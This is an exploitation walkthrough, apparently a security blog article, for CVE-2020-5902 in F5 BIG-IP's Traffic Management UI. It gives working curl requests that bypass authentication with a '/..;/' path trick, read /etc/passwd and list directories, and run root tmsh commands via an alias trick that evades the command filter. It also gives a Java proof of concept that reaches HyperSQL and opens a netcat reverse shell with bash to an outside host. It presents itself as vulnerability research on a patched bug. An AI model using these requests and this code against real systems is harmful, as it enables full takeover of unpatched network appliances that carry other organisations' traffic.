Security hole in BIG-IP. Exploiting a new vulnerability in F5 products

In July 2020, a severe vulnerability was identified in the F5 product line. The bug affects inter alia BIG-IP, an application delivery controller used by many major companies, including banks and mobile operators. The vulnerability received the highest severity index because it allows unprivileged attackers to gain full control over the target system.

BIG-IP includes various modules running under Traffic Management Operating System (TMOS). One of these modules, Local Traffic Manager (LTM), handles application traffic, protects the network infrastructure, and balances the local load. LTM can be flexibly configured using the Traffic Management User Interface (TMUI). This is where the above-mentioned vulnerability was discovered.

Mikhail Klyuchnikov, a Security Researcher at Positive Technologies, was the first to identify the bug. The vulnerability originates from incorrect URI normalization during the request processing. An attacker can bypass the Traffic Management User Interface authentication and gain access to system functions intended only for the admin. As a result, the attacker can execute arbitrary commands on the target system on behalf of the superuser (i.e. completely compromise the server).


The bug’s identification number is CVE-2020-5902; its CVSS severity score is 10 out of the 10. The vulnerability is present in the following BIG-IP versions: 15.0.0 t0, 14.1.0 to, 13.1.0-, 12.1.0-, and 11.6.1-

Test System

Since BIG-IP is a commercial product, no docker containers are available. The easiest way to deploy a test system is to download the 30-day trial version called BIG-IP VE (Virtual Edition). To do so, you have to create an account on the F5 website. After the registration confirmation, navigate to the Downloads section.

I will use the most recent vulnerable version: BIG-IP can be downloaded in several variants; I need a VM image in the OVA format. Several download locations are available; so, you can select the one that suits you best.

BIG-IP VM download page)
BIG-IP VM download page)

You can also use my link to download the image. I can’t say how long will it live, but at the time of writing, it was working fine.

After downloading the image, I import it into the virtualization program. I use VMware, but VirtualBox would work fine, too.

The import is successful, and I load the virtual machine. Then I see the authentication request.

BIG-IP VM login page
BIG-IP VM login page

The default superuser password is default (you will be immediately offered to change it). Now I can check the IP address of the virtual machine.

IP address of the BIG-IP VM
IP address of the BIG-IP VM

I open the browser, navigate to this IP, and see the TMUI authentication form.

BIG-IP Configuration Utility authentication form
BIG-IP Configuration Utility authentication form

The test system is ready.

Vulnerability details

I return to the console. Let’s find out what web server is listening on port 443.

netstat -lnpe | grep 443
Checking what service is listening on port 443 in BIG-IP
Checking what service is listening on port 443 in BIG-IP

This is an ordinary httpd daemon; apparently, it’s used as the front-end that proxies requests somewhere else. So, I search the configuration files for the ProxyPass directive.

grep -iR ProxyPass /etc/httpd
Searching for proxying directive in httpd configs
Searching for proxying directive in httpd configs

The file /etc/httpd/conf.d/proxy_ajp.conf contains plenty of interesting stuff.

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

The file name and content indicate that the AJP protocol is used to transmit requests to a Tomcat web server (for more information on this protocol, see the article about an RCE vulnerability in Apache Tomcat).

Port 8009 indicates that the Apache Tomcat server uses the AJP protocol
Port 8009 indicates that the Apache Tomcat server uses the AJP protocol

But first of all, I have to check how is the URI transmitted to Tomcat. I suggest reviewing a detailed study by Orange Tsai examining path normalization in various applications; it was presented at Black Hat USA 2018 and DEF CON 26 (PDF). The study includes a section dedicated to Tomcat where the /..;/ construct is used to exit a directory, bypass some rules, and access files containing important information. This becomes possible because the web server interprets /..;/ as a folder name, while Tomcat interprets it as a relative path up the tree leading to the parent directory.

To check whether the bug is working in this particular case, I try reading a file that isn’t accessible under normal circumstances. The list of such files can be found, for instance, in the TMUI config: /usr/local/www/tmui/WEB-INF/web.xml.


I try to read viewset.jsp using a simple request.

curl -k "" -is

Expectedly, I am redirected to the authentication page. Then I try to read the file using the /..;/ construct.

curl -k ";/dashboard/viewset.jsp" -is

The viewset.jsp script is successfully executed, and the server returns the result.

Bypassing authentication and viewing inaccessible pages in F5 BIG-IP
Bypassing authentication and viewing inaccessible pages in F5 BIG-IP

Now I can read any pages and execute servlets that don’t validate the user session inside them.

What information can be found in TMUI? The most interesting stuff is stored in the directory /usr/local/www/tmui/WEB-INF/. The compiled servlets are stored there as well. Accordingly, I will need JD-GUI to decompile them. The easiest way is to ZIP the /usr/local/www/tmui/WEB-INF/ directory and open it in JD-GUI.

Decompiling the BIG-IP classes in JD-GUI
Decompiling the BIG-IP classes in JD-GUI

As said above, the list of endpoints can be found in the file /usr/local/www/tmui/WEB-INF/web.xml. Their number is pretty large; so, I will describe only the most interesting ones discovered after the public release of the vulnerability.

The first one is /tmui/locallb/workspace/fileRead.jsp.

01: package;
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());

The servlet allows to read arbitrary files if fileName is transmitted in the parameter. Of course, I try to read the canonical /etc/passwd.

curl -k ";/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is

Success! The server returns the file content.

Reading arbitrary files in BIG-IP
Reading arbitrary files in BIG-IP

I suggest reading the following files:

  • /etc/hosts – IP addresses of the BIG-IP infrastructure;
  • /config/bigip.conf – BIG-IP configuration variables; and
  • /config/bigip.license – information on the current BIG-IP license.

This list can be continued – I have no doubt that you know at least several dozen interesting files that deserve to be read. To make our lives even easier, the following exciting servlet comes to help: /tmui/locallb/workspace/directoryList.jsp.


It takes the directoryPath parameter as input and returns the listing of the specified directory as the output.

26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);
curl -k ";/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
The vulnerability allows to read folder contents in BIG-IP
The vulnerability allows to read folder contents in BIG-IP

Furthermore, the content of the directories is displayed recursively.

curl -k ";/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s
The directories are read recursively
The directories are read recursively

However, if the script encounters files or folders inaccessible to the current user, the server returns the 500 Internal Server Error.

curl -k ";/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s
If the user has insufficient rights, an attempt to read a folder inaccessible to this user with directoryList.jsp returns an error
If the user has insufficient rights, an attempt to read a folder inaccessible to this user with directoryList.jsp returns an error

As you probably noticed, all the above methods used to read files and directories are called from the following class:


The behavior of WorkspaceUtils.listDirectory and WorkspaceUtils.readFile is quite understandable; however, to get an idea of the next servlet, you have to examine this class in more detail. The WorkspaceUtils class is stored in a .jar file located at:


I decompile it in JD-GUI.

Time to examine the most exciting servlet: /tmui/locallb/workspace/tmshCmd.jsp.

28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();

The servlet accepts the command parameter as input and passes it to the method WorkspaceUtils.runTmshCommand. This class has already been decompiled; so, I check what runTmshCommand is doing.

01: package com.f5.tmui.locallb.handler.workspace;
31: public class WorkspaceUtils {
46: public static JSONObject runTmshCommand(String command) {
51: String operation = command.split(" ")[0];
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();

As you can see, the string transmitted in command is parsed and then Syscall.callElevated is called. This method, in turn, calls the Syscall.TMSH command with elevated privileges.

13: import com.f5.mcp.schema.ltm.ShellCommandT;
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();

The com.f5.mcp.schema.ltm.ShellCommandT class is stored in the file I decompile and examine it.

01: package com.f5.mcp.schema.ltm;
05: public class ShellCommandT extends SchemaEnum {
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }

TMSH (Traffic Management SHell) is a bash-like utility for administering BIG-IP. It can be used to automate commands and processes, create your own commands or sets of commands, execute custom scripts in TCL, and implement various server behavior scenarios, including reboot and shutdown. Isn’t this great? Taking that all these operations are performed with superuser privileges, the servlet becomes an invaluable vulnerability exploitation tool.

162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
203: Connection c = null;
204: try {
206: c = ConnectionManager.instance().getConnection();
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));

I display the list of BIG-IP admins using the tmsh list auth user admin command.

TMSH displays the list of BIG-IP admins
TMSH displays the list of BIG-IP admins

Then I perform the same operation using the vulnerability.

curl -k ";/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
The vulnerability in F5 BIG-IP allows to execute TMSH commands
The vulnerability in F5 BIG-IP allows to execute TMSH commands

But there is more! After reviewing the TMSH documentation, I discovered the bash command in the util module.

Command listing for the util module
Command listing for the util module

This command calls bash in the required context, and all flags present in the ‘regular’ bash are available here.

Help for the bash command in TMSH
Help for the bash command in TMSH

Any command in the util module can be called either with run or directly from the command line.

  • run /util bash -c id
  • bash -c id
TMSH allows to execute commands in bash in different ways
TMSH allows to execute commands in bash in different ways

However, if you try to implement any of these variants using the vulnerability, the server will return the Rejected Tmsh Command error.

curl -k ";/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
An attempt to execute an arbitrary command using the vulnerability in BIG-IP
An attempt to execute an arbitrary command using the vulnerability in BIG-IP

This is because the tmshCmd_jsp servlet undergoes several checks prior to executing a command.

52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {

The ShellCommandValidator.checkForBadShellCharacters method checks the presence of prohibited characters in the string. The blacklist includes & ; ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r and a backtick.


24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray[i];
28: if (c == '&' || c == ';' || c == '`' || c == ''' || c == '\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }

But this is not the main problem. What really reduces the scope is the second part of the condition: validation of the performed operation.

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")

As you can see, only four TMSH commands can be executed: create, delete, list, and modify. This is where aliases come to help. Similar to bash, you can create aliases for commands in TMSH to avoid typing them every time. The cli alias module is responsible for this. There are two alias types: shared and private. They differ by the visibility scope: shared aliases are available throughout the system, while private ones are restricted to the current user. Aliases can be viewed, deleted, and created using the list, delete, and create commands, respectively.

List of shared aliases in TMSH
List of shared aliases in TMSH

So, I have to create an alias for the bash command and specify any of the permitted operations as its name. I strongly recommend to make such aliases private and delete them immediately after executing the required command to avoid interfering with the ‘normal’ operation of the system. My plan is as follows.

I use the command create cli alias private modify command bash to create in the user’s visibility zone an alias that calls the bash command and whose name is modify.

curl -k ";/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s

Now modify -c id can execute the required command. In my case, it is id.

curl -k ";/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s

Then I delete this private alias with the command delete cli alias private modify to avoid any problems in the future.

curl -k ";/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
Successful vulnerability exploitation in F5 BIG-IP: arbitrary commands are executed with superuser rights
Successful vulnerability exploitation in F5 BIG-IP: arbitrary commands are executed with superuser rights

This sequence of operations can be easily automated. Ready-to-go solutions are available on GitHub, including a special Metasploit module.

By the way, this RCE technique was discovered later. In his initial report, Mikhail Klyuchnikov suggested a more interesting command execution method involving the HyperSQL Database. Let’s examine it in more detail.

RCE via HyperSQL

BIG-IP uses the HyperSQL Database. The httpd daemon uses the /hsqldb URI to proxy requests sent to the servlet interacting with this database.

ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Of course, this address can be accessed only after the authentication, but you already know how to bypass it.

curl -k ";/hsqldb/" -s
Bypassing the authentication to access HSQLDB
Bypassing the authentication to access HSQLDB

HyperSQL makes it possible to interact with the database over HTTP(S). The connection procedure is described in the documentation. By default, the user is SA and the password is blank.

I am going to create a PoC that will make simple requests to the database. First of all, I need the right HSQLDB library (ZIP). Then I add the following string to the hosts file: localhost.localdomain

Of course, you must insert the IP address of your VM into this string. This is required to avoid hassle with SSL certificates in Java. The address that makes it possible to bypass the authentication must be specified as the URL for connection to the database.

01: package com.f5rce;
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
07: public class Main {
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/";

Then I specify the username and password.

12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");

Connecting to the database.

15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;

Time to make a simple request.

19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");

The returned result is displayed in the console.

21: while ( {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }
Sending a request to the HyperSQL Database bypassing the authentication in BIG-IP
Sending a request to the HyperSQL Database bypassing the authentication in BIG-IP

The database documentation includes inter alia the description of the CALL function that allows to call external Java functions.

First of all, I check classpath (i.e. paths used to load libraries):

CALL "java.lang.System.getProperty"('java.class.path')
20: result = stmt.executeQuery("CALL "java.lang.System.getProperty"('java.class.path')");
Getting classpath in BIG-IP with HSQLDB
Getting classpath in BIG-IP with HSQLDB

Tomcat uses similar paths, which is good because the list of potentially dangerous methods is pretty long. The attacker’s goal is to find a method with the static modifier (i.e. the one that can be called without creating a class object). Mikhail Klyuchnikov discovered a suitable method:


It’s located in the file /usr/local/www/tmui/WEB-INF/classes/tmui.jar that I have already decompiled.

01: package com.f5.view.web.pagedefinition.shuffler;
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }

The method executes Jython code and returns an object instance of org.python.core.PyObject. Jython is a Java implementation of the Python language; so, I have to use correct syntax for it. The code will be executed using Runtime.getRuntime().exec(). For convenience purposes, netcat with the support of the -e flag is installed in BIG-IP by default. Using this utility, I create a backconnect.

20: result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: ""('Runtime.getRuntime().exec("nc 1337 -e /bin/bash")#','#')");
Successful BIG-IP exploitation: RCE through HSQLDB
Successful BIG-IP exploitation: RCE through HSQLDB

Vulnerability demonstration (video)


The examined vulnerability proves once again that even such a minor problem as incorrect path normalization can lead to severe consequences. If you have a good understanding of the application infrastructure and know capabilities of its tools, you can gain full control over a BIG-IP VM. Needless to say that a compromised system may cause plenty of problems, especially if all network traffic goes through this system.

After the discovery of the vulnerability, the F5 developers offered a number of temporary solutions pending the release of a fully functional patch. Unfortunately, some of these solutions are ineffective and don’t provide adequate protection against malefactors. Therefore, I strongly recommend upgrading the application to a version where this problem is fixed.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>